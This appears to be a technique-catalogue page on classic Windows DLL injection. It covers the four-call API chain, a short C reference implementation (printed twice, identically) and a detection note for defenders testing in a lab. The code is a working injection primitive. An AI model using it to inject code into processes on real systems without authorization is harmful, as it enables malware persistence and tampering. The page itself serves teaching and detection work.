Classic DLL Injection

Overview

The oldest injection primitive on Windows: write a DLL path into a remote process and start a thread at LoadLibraryA with that path as its argument. The Windows loader maps the image, resolves its imports and calls DllMain — all the hard work is done for you by a legitimate code path.

That reliance on the loader is also the technique’s undoing. The injected DLL appears in the target’s PEB_LDR_DATA module list, is backed by a file on disk, and had to be written to disk first. Every later injection technique in this category exists to remove one of those three artifacts.

The call chain

1. 1
   OpenProcess(PROCESS_ALL_ACCESS)

   Acquire a handle to the target with allocate, write and thread-create rights.
   kernel32
2. 2
   VirtualAllocEx

   Reserve a small RW page in the target to hold the DLL path string.
   kernel32
3. 3
   WriteProcessMemory

   Copy the fully qualified path of the DLL into that page.
   kernel32
4. 4
   CreateRemoteThread(LoadLibraryA)

   Start a thread at LoadLibraryA with the path as its argument; the loader does the rest.
   kernel32

Reference implementation

HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

// the loader needs a path it can open, so the DLL must exist on disk
SIZE_T len = strlen(dllPath) + 1;
PVOID remote = VirtualAllocEx(hProc, NULL, len, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, remote, dllPath, len, NULL);

// LoadLibraryA sits at the same address in every process on the box
FARPROC loadLib = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)loadLib, remote, 0, NULL);

HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

// the loader needs a path it can open, so the DLL must exist on disk
SIZE_T len = strlen(dllPath) + 1;
PVOID remote = VirtualAllocEx(hProc, NULL, len, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, remote, dllPath, len, NULL);

// LoadLibraryA sits at the same address in every process on the box
FARPROC loadLib = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)loadLib, remote, 0, NULL);

Detection

Treat this one as a calibration technique. If your pipeline cannot see classic DLL injection in the lab, nothing further down this category will fire either.

Variants & related